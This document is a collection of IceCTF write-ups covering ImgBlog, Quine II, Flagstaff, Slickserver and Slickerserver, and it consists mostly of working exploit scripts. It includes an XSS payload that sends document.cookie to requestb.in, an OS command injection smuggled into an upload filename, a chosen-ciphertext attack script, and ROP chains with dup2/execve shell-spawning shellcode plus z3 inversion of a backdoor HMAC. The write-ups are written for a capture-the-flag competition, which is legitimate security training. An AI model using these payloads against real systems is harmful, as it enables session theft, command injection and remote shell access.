ImgBlog

@tukejonny did the OS command injection.

The service has $2$ vulnerabilities. The first one is XSS, the second one is OS command injection.

After logging in, the Report Comment feature (and the individual comment page) has XSS. Using http://requestb.in,

<script> location.href = "http://requestb.in/xxxxxxxx?" + document.cookie; </script>

and the result was:

GET /ssf1giss?session=eyJ1c2VyIjoxfQ.Cp3EEg.pisHXEaPJs2TdTCIUI2d5EbhKXE

QUERYSTRING
session: eyJ1c2VyIjoxfQ.Cp3EEg.pisHXEaPJs2TdTCIUI2d5EbhKXE

HEADERS
Via: 1.1 vegur
X-Request-Id: 4097be85-7f30-4431-8a98-6723d4af6cc8
Accept-Encoding: gzip
Accept-Language: en,*
Referer: http://127.0.0.1:5300/comment/99e0f33a39bad91b54e1e3c9ff59b4
Cf-Visitor: {"scheme":"http"}
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: requestb.in
Total-Route-Time: 0
Connect-Time: 0
Cf-Ipcountry: US
Cf-Ray: 2d6e33b9459d2567-ORD
Cf-Connecting-Ip: 104.154.248.13
Connection: close

Now, you can log in the site as an admin, using the session eyJ1c2VyIjoxfQ.Cp3EEg.pisHXEaPJs2TdTCIUI2d5EbhKXE.

However the flag is not appeared, and there is an Upload feature. If you uploads a file, the server files it to check that it is an image file. And if not image, then the server prints the result. i.e.

$ curl http://imgblog.vuln.icec.tf/upload -H 'Cookie: session=eyJ1c2VyIjoxfQ.Cp3EEg.pisHXEaPJs2TdTCIUI2d5EbhKXE' -F title=title -F image=@foo.txt -F blogtext=blogtext
...
/uploads/footxt: ASCII text
...

Also, around the file command, you can do OS command injection. You cannot use ., since this is removed by the server. So you should use base64 or wildcards like flag?txt or flag*.

$ curl http://imgblog.vuln.icec.tf/upload -H 'Cookie: session=eyJ1c2VyIjoxfQ.Cp3EEg.pisHXEaPJs2TdTCIUI2d5EbhKXE' -H 'Content-Type: multipart/form-data; boundary=----FormBoundary' --data-binary $'------FormBoundary\r\nContent-Disposition: form-data; name="title"\r\n\r\ntitle\r\n------FormBoundary\r\nContent-Disposition: form-data; name="image"; filename="; id; echo '$(echo cat flag.txt | base64)$' | base64 -d | sh;"\r\nContent-Type: image/png\r\n\r\nfoo\r\n------FormBoundary\r\nContent-Disposition: form-data; name="blogtext"\r\n\r\nblogtext\r\n------FormBoundary--\r\n'

(Please tell me it if you know a better way to do such a thing. The command opitons are too long and not smart…)

Quine II

Most of this is the same as the previous problem Quine. This has a restriction to the size of echo-back, but this restriction is not very tight. Although the original one is a bit fun, but I feel this is unnecessary.

IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}.

#!/usr/bin/env python2
import re
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='quine.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=5501, type=int)
args = parser.parse_args()

quote = lambda s: s.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n')

a = '''\
#include<stdio.h>
#include<stdlib.h>
#include<dirent.h>
char*code="'''

b = ''
b += '''";
void quote(char*s) {
 for (; *s; ++ s) {
  switch (*s) {
   case '\\\\': printf("\\\\\\\\"); break;
   case '"':    printf("\\\\\\"");  break;
   case '\\n':  printf("\\\\n");    break;
   default:     printf("%c", *s);   break;
  }
 }
}
void quine(void) {
 char *s = code;
 for (; *s; ++ s) {
  if (s[0] == '@' && s[1] == '@') {
    quote(code);
    ++ s;
  } else {
    printf("%c", *s);
  }
 }
}
'''

# b += '''
'''
void ls(char *s) {
 DIR *dir = opendir(s);
 struct dirent *ent;
 int i = 0;
 for(; (ent = readdir(dir)); ++ i) {
  char *t = ent->d_name;
  if (t[0] == '1' && t[1] == '4') continue;
  printf("%s ", t);
 }
}
'''

b += '''
void cat(char *s) {
 FILE *fh;
 char buf[64];
 fh = fopen(s, "r");
 fgets(buf, sizeof(buf), fh);
 *strchr(buf, '\\n') = '\\0';
 printf("%s ", buf);
}
'''


b += '''
int main(void) {
 quine();
 printf("\\n// ");
'''

# b += ' printf("%s ", getenv("PWD"));'
# b += ' ls(".");'
# b += ' ls("..");'
b += ' cat("../flag.txt");'

b += '''
 return 0;
}
'''
b = re.sub('^ +', '', b)
b = re.sub(' +$', '', b)
b = re.sub(' +', ' ', b)
b = re.sub('([^\w\s]) +', '\\1', b)
b = re.sub(' +([^\w\s])', '\\1', b)
b = b.replace('\n', '')

code = '{}{}@@{}{}'.format(a, quote(a), quote(b), b)

p = remote(args.host, args.port)
p.recvline()
p.sendline(code)
p.sendline('.')
print(p.recvall())

Flagstaff

According to the server.py, you can get the flag using the plaintext whose ciphertext contains the substring flag. You can get the ciphertext for any plaintext, so you can get such a plaintext using approximately $256^4$ queries. It’s a bit large for encryption via network.

You can use differential cryptanalysis. The difference of the front of ciphertext only affects the same place of the plaintext. For example:

$ ( echo decrypt ; echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | base64 ) | nc flagstaff.vuln.icec.tf 6003 | grep -v Welcome | sed 's/.*: //g' | base64 -d | xxd
00000000: cc27 fdeb 2bd0 407c e13b 2626 75ec 7fc0  .'..+.@|.;&&u...
$ ( echo decrypt ; echo BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | base64 ) | nc flagstaff.vuln.icec.tf 6003 | grep -v Welcome | sed 's/.*: //g' | base64 -d | xxd
00000000: cf27 fdeb 2bd0 407c e13b 2626 75ec 7fc0  .'..+.@|.;&&u...

Using this, you can get the ciphertext for the flag with at most $256 \times 4$ queries and get IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}.

#!/usr/bin/env python2
import base64
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='flagstaff.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=6003, type=int)
args = parser.parse_args()

def zeropad(s):
    return s + '\0' * (- len(s) % 32)

def decrypt(ciphertext):
    p = remote(args.host, args.port)
    p.recvuntil('Send me a command: ')
    p.sendline('decrypt')
    p.recvuntil('Send me some data to decrypt: ')
    p.sendline(base64.b64encode(ciphertext))
    plaintext = base64.b64decode(p.recvline())
    log.info('decrypt: %s |-> %s', repr(ciphertext), repr(plaintext))
    p.close()
    return plaintext

# search
ciphertext = ''
target = 'flag'
for i in range(len(target)):
    for c in range(256):
        s = decrypt(zeropad(ciphertext + chr(c)))
        if s[i] == target[i]:
            ciphertext += chr(c)
            break

# secret flag
p = remote(args.host, args.port)
p.recvuntil('Send me a command: ')
p.sendline('secret')
p.recvuntil('Send me an encrypted command: ')
p.sendline(base64.b64encode(zeropad(ciphertext)))
flag = base64.b64decode(p.recvline())
log.info('encrypted flag: %s', repr(flag))
p.close()

# decrypt flag
flag = decrypt(flag)
log.info('flag: %s', flag)

Slickserver

The binary is based on https://github.com/nemasu/asmttpd, a HTTP server using threads.

The backdoor using HMAC is added. If you uses the buffer overflow vulnerability for this and rewrite the flag on rbp-0x20, it computes the HMAC value of the payload and jump to the place given as a xor value of the HMAC value and the integer on rbp-0x20.

0000000000401010 <worker_thread_continue>:
  401010:	48 8b 7d f8          	mov    rdi,QWORD PTR [rbp-0x8] # fd
  401014:	48 8b 75 f0          	mov    rsi,QWORD PTR [rbp-0x10] # buf
  401018:	48 c7 c2 00 20 00 00 	mov    rdx,0x2000 # len
  40101f:	e8 93 f9 ff ff       	call   4009b7 <sys_recv>
  401024:	48 83 f8 00          	cmp    rax,0x0
  401028:	0f 8e 74 03 00 00    	jle    4013a2 <worker_thread_close>
  40102e:	50                   	push   rax
  40102f:	4c 8b 6d e0          	mov    r13,QWORD PTR [rbp-0x20] # backdoor flag
  401033:	4d 85 ed             	test   r13,r13
  401036:	74 0f                	je     401047 <worker_thread_continue_nohook>
  401038:	48 8b 7d f0          	mov    rdi,QWORD PTR [rbp-0x10] # buf
  40103c:	e8 a3 fd ff ff       	call   400de4 <hmac>
  401041:	49 31 c5             	xor    r13,rax
  401044:	41 ff e5             	jmp    r13

Now, you can do ROP and get the flag IceCTF{r0p+z3-FTW}.

I fix the socket fd as $5$, and construct a gadget dynamically. Even if it works locally, long chains didn’t work on the server. You need to golf a little.

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='slick.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=6600, type=int)
args = parser.parse_args()
context.log_level = 'debug'
context.arch = 'amd64'

mov_rdi_rcx_al_stackpop_ret = 0x00400100 # mov byte [rdi+rcx], al ; pop rbx ; pop rcx ; pop r8 ; pop rcx ; pop rbx ; pop r9 ; pop r10 ; pop rdx ; pop rsi ; pop rdi ; ret
pop_rdi_rcx_mov_rax_r14_ret = 0x00400c9b # pop rdi ; pop rcx ; mov rax, r14 ; ret
mov_eax_esi_ret = 0x00400c9e # mov eax, esi ; ret
pop_rdx_rsi_rdi_ret = 0x0040010d # pop rdx ; pop rsi ; pop rdi ; ret
pop_rsi_rdi_ret = 0x0040010e # pop rsi ; pop rdi ; ret
pop_rdi_ret = 0x0040010f # pop rdi ; ret
ret = 0x400110 # ret
sleep_loop = 0x400fcc # mov rdi, 10 ; call sys_sleep ; jmp $-14
static = 0x601000
shellcode_addr = static + 0xccc
mov_rdi_rsi_ret = static + 0x9cc

mov_rdi_rsi_ret_asm = asm('mov qword ptr [rdi], rsi ; ret')

sockfd = 5 # ?
shellcode = ''
for fd in [0, 1, 2]:
    shellcode += asm('mov rax, SYS_dup2')
    shellcode += asm('mov rdi, %d' % sockfd)
    shellcode += asm('mov rsi, %d' % fd)
    shellcode += asm('syscall')
shellcode += asm('mov rax, SYS_execve')
shellcode += asm('mov rbx, 0x%x' % u64('/bin/sh\0'))
shellcode += asm('push rbx')
shellcode += asm('mov rdi, rsp')
shellcode += asm('push 0')
shellcode += asm('mov rdx, rsp')
shellcode += asm('push rdi')
shellcode += asm('mov rsi, rsp')
shellcode += asm('syscall')

payload = ''
# construct a better gadget using a heavy one
def write(addr, s):
    payload = ''
    for i in range(len(s)):
        if i == 0:
            payload += p64(pop_rsi_rdi_ret)
            payload += p64(ord(s[i])) # rsi -> eax
            payload += 'AAAAAAAA' # rdi
            payload += p64(pop_rdi_rcx_mov_rax_r14_ret)
            payload += p64(addr) # rdi
            payload += p64(i) # rcx
            payload += p64(mov_eax_esi_ret)
        payload += p64(mov_rdi_rcx_al_stackpop_ret)
        payload += 'AAAAAAAA' # rbx
        payload += 'AAAAAAAA' # rcx
        payload += 'AAAAAAAA' # r8
        payload += p64(i+1) # rcx
        payload += 'AAAAAAAA' # rbx
        payload += 'AAAAAAAA' # r9
        payload += 'AAAAAAAA' # r10
        payload += 'AAAAAAAA' # rdx
        payload += p64(ord(s[i+1])) if i+1 < len(s) else 'BBBBBBBB' # rsi
        payload += p64(addr) # rdi
        payload += p64(mov_eax_esi_ret)
    return payload
payload += write(mov_rdi_rsi_ret, mov_rdi_rsi_ret_asm)
# write shellcode using the new gadget
def write(addr, s):
    s += '\0' * (- len(s) % 8)
    payload = ''
    for i in range(0, len(s), 8):
        payload += p64(pop_rsi_rdi_ret)
        payload += s[i : i+8]
        payload += p64(addr + i)
        payload += p64(mov_rdi_rsi_ret)
    return payload
payload += write(shellcode_addr, shellcode)
# jump to the shellcode
payload += p64(shellcode_addr)

# set the values for the backdoor using hmac
hmac_addr = 0x601510 # .data, strings part
hmac_value = 0xa2928adbd046983b
while len(payload) < 1000 - 8*3:
    payload += p64(ret)
payload += 'AAAAAAAA'
payload += 'BBBBBBBB'
payload += 'CCCCCCCC'
assert len(payload) == 1000
payload += p64(hmac_value ^ pop_rdi_ret)
payload += 'DDDDDDDD'
payload += p64(hmac_addr)
payload += '*SOCKET*' # the sockfd here
assert len(payload) < 8192

p = remote(args.host, args.port)
p.send(payload)
time.sleep(1)
p.sendline('id')
p.interactive()

Slickerserver

The fixed Slickserver. This time, we should calculate the inverse of the hmac to use the backdoor. Things except this is same to the previous one, and ROP gadgets is more rich.

To crack the hmac function, I used the z3. The previous flag IceCTF{r0p+z3-FTW} was a hint. https://wiki.mma.club.uec.ac.jp/CTF/Toolkit/z3py (in Japanese) is a good page about z3, and you should take care about the >> operator of z3 (see the code below).

IceCTF{m4ster1ng_the_4rt_of_f1x3d_p0ints}.

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='slick.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=6601, type=int)
args = parser.parse_args()
context.log_level = 'debug'
context.arch = 'amd64'

def xorsum(s): # with u64
    assert len(s) % 8 == 0
    x = 0
    for i in range(0, len(s), 8):
        x ^= u64(s[i : i+8])
    return x

def murmur1(ys, k, shift=(lambda x, y: x >> y), hook=(lambda x: x)):
    m64 = lambda x: x & 0xffffffffffffffff
    x = hook(m64(len(ys) * 8 * 0xa165c8277) ^ k)
    for y in ys:
        x = hook(m64(x + y))
        x = hook(m64(x * 0xa165c8277))
        x = hook(shift(x, 16) ^ x) # in the z3py, the __rshift__ operator `>>' is interpreted as signed shift and this causes failure
    x = hook(m64(x * 0xa165c8277))
    x = hook(shift(x, 10) ^ x)
    x = hook(m64(x * 0xa165c8277))
    x = hook(shift(x, 17) ^ x)
    return x

def hmac(s, shift=(lambda x, y: x >> y), hook=(lambda x: x)):
    if isinstance(s, str):
        assert len(s) == 0x5e8
        sm = xorsum(s)
        k1 = u64(s[0x5d8 : 0x5e0])
        k2 = u64(s[0x5e0 : 0x5e8])
    else:
        sm, k1, k2 = s
    x = murmur1([sm ^ 0x5c5c5c5c5c5c5c5c, k1, k2], 0x0defacedbaadf00d, shift=shift, hook=hook)
    y = murmur1([0x3636363636363636, x],           0xfaceb00ccafebabe, shift=shift, hook=hook)
    return y

def unhmac(value):
    import z3
    sm = z3.BitVec('sm', 64)
    k1 = z3.BitVec('k1', 64)
    k2 = z3.BitVec('k2', 64)
    solver = z3.Solver()
    def newvar(x, i=[0]):
        y = z3.BitVec('t.' + str(i[0]), 64)
        i[0] += 1
        solver.add(y == x)
        return y
    solver.add(hmac([sm, k1, k2], shift=z3.LShR, hook=newvar) == value)
    solver.check()
    model = solver.model()
    sm = int(model[sm].as_long())
    k1 = int(model[k1].as_long())
    k2 = int(model[k2].as_long())
    return sm, k1, k2

pop_rsi_rdi_ret = 0x40011b # pop rsi ; pop rdi ; ret
mov_eax_esi_ret = 0x400e99 # mov eax, esi ; ret
pop_rcx_mov_rax_r14_ret = 0x00400e97 # pop rcx ; mov rax, r14 ; ret
add_rax_cl_ret = 0x401387 # add byte ptr [rax - 0x39], cl ; ret 0
pop_rdi_ret = 0x0040011c # pop rdi ; ret
static = 0x601000
shellcode_addr = static + 0xccc
mov_rdi_rsi_ret = static + 0xbbb

mov_rdi_rsi_ret_asm = asm('mov qword ptr [rdi], rsi ; ret')

shellcode = ''
for fd in [0, 1, 2]:
    shellcode += asm('mov rax, SYS_dup2')
    shellcode += asm('mov rdi, [rbp-0x8]')
    shellcode += asm('mov rsi, %d' % fd)
    shellcode += asm('syscall')
shellcode += asm('mov rax, SYS_execve')
shellcode += asm('mov rbx, 0x%x' % u64('/bin/sh\0'))
shellcode += asm('push rbx')
shellcode += asm('mov rdi, rsp')
shellcode += asm('push 0')
shellcode += asm('mov rdx, rsp')
shellcode += asm('push rdi')
shellcode += asm('mov rsi, rsp')
shellcode += asm('syscall')

hmac_result = pop_rdi_ret
hmac_keys = None
# hmac_keys = ( 0x0000000000000000, 0x5640a3545cc47728, 0xc7c237690640b388 )
if hmac_keys is None:
    hmac_keys = unhmac(hmac_result) # this took 20sec on my environment.
    log.info('hmac keys: ( 0x%016x, 0x%016x, 0x%016x )', *hmac_keys)
assert hmac(hmac_keys) == hmac_result

payload = ''
# construct a better gadget using a heavy one
def write(addr, s):
    payload = ''
    for i, c in enumerate(s):
        payload += p64(pop_rcx_mov_rax_r14_ret)
        payload += p64(ord(c))
        payload += p64(pop_rsi_rdi_ret)
        payload += p64(addr + i + 0x39)
        payload += 'AAAAAAAA'
        payload += p64(mov_eax_esi_ret)
        payload += p64(add_rax_cl_ret)
    return payload
payload += write(mov_rdi_rsi_ret, mov_rdi_rsi_ret_asm)
# write shellcode using the new gadget
def write(addr, s):
    s += '\0' * (- len(s) % 8)
    payload = ''
    for i in range(0, len(s), 8):
        payload += p64(pop_rsi_rdi_ret)
        payload += s[i : i+8]
        payload += p64(addr + i)
        payload += p64(mov_rdi_rsi_ret)
    return payload
payload += write(shellcode_addr, shellcode)
# jump to the shellcode
payload += p64(shellcode_addr)
# set the values for the backdoor using hmac
payload += 'A' * (1520 - len(payload) - 8*4)
payload += p64(xorsum(payload) ^ hmac_keys[0] ^ hmac_keys[1] ^ hmac_keys[2])
payload += p64(hmac_keys[1])
payload += p64(hmac_keys[2])
payload += p64(1) # set the flag
assert len(payload) == 1520

p = remote(args.host, args.port)
p.send(payload)
time.sleep(1)
p.sendline('id')
p.interactive()